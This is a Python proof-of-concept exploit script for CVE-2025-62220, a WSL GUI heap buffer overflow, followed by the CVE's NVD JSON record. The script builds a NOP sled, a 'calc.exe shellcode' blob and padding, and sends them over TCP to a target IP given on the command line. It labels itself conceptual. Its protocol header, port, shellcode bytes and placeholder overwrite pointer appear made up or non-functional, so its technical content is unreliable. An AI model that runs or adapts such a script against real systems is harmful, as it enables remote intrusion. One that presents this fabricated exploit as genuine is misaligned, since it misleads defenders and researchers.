CVE-2025-62220

# CVE-2025-62220 PoC - WSL GUI Heap Buffer Overflow # Target: Windows Subsystem for Linux GUI Component # Note: This is a conceptual PoC for educational purposes only import struct import socket import sys def create_exploit_payload(): """Generate malicious payload for WSL GUI buffer overflow""" # WSL GUI protocol header header = b'WSLG\x01\x00\x00\x00' # Message type for graphical request msg_type = struct.pack('<I', 0x1001) # Trigger overflow with oversized buffer # Normal buffer size: 1024 bytes # Overflow size: 2048 bytes (2x to trigger overflow) overflow_size = 2048 # Craft payload with NOP sled + shellcode nop_sled = b'\x90' * 256 # Simple calc.exe shellcode for Windows x64 shellcode = ( b'\x48\x83\xec\x28\x48\x89\x4c\x24\x20\x48\x89\x54\x24\x18\x48\x8b\x54\x24\x18' b'\x48\x8b\x4c\x24\x20\xff\xd2\x48\x83\xc4\x28\xc3\x48\x8b\x4c\x24\x08\x48\x8b' b'\x11\x48\x8b\x52\x20\x48\x83\xea\x20\x48\x8b\x4a\x18\x48\x8b\x5a\x20\x48\x83' b'\xea\x20\xff\xd0\xc3' ) padding = b'\x41' * (overflow_size - len(nop_sled) - len(shellcode)) payload = nop_sled + shellcode + padding # Overwrite pointer for exploitation overwrite = struct.pack('<Q', 0x4141414141414141) return header + msg_type + payload + overwrite def send_exploit(target_ip, target_port=6090): """Send exploit to WSL GUI service""" try: payload = create_exploit_payload() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.send(payload) print(f"[+] Exploit payload sent ({len(payload)} bytes)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-62220-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Targeting {target}") send_exploit(target)

{"cve": {"id": "CVE-2025-62220", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:49.730", "lastModified": "2025-11-14T15:53:43.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows Subsystem for Linux GUI allows an unauthorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:windows_subsystem_for_linux:*:*:*:*:*:-:*:*", "versionEndExcluding": "2.6.2", "matchCriteriaId": "6C837437-CD97-4ABF-A61A-BB1A3AE1DE18"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62220", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}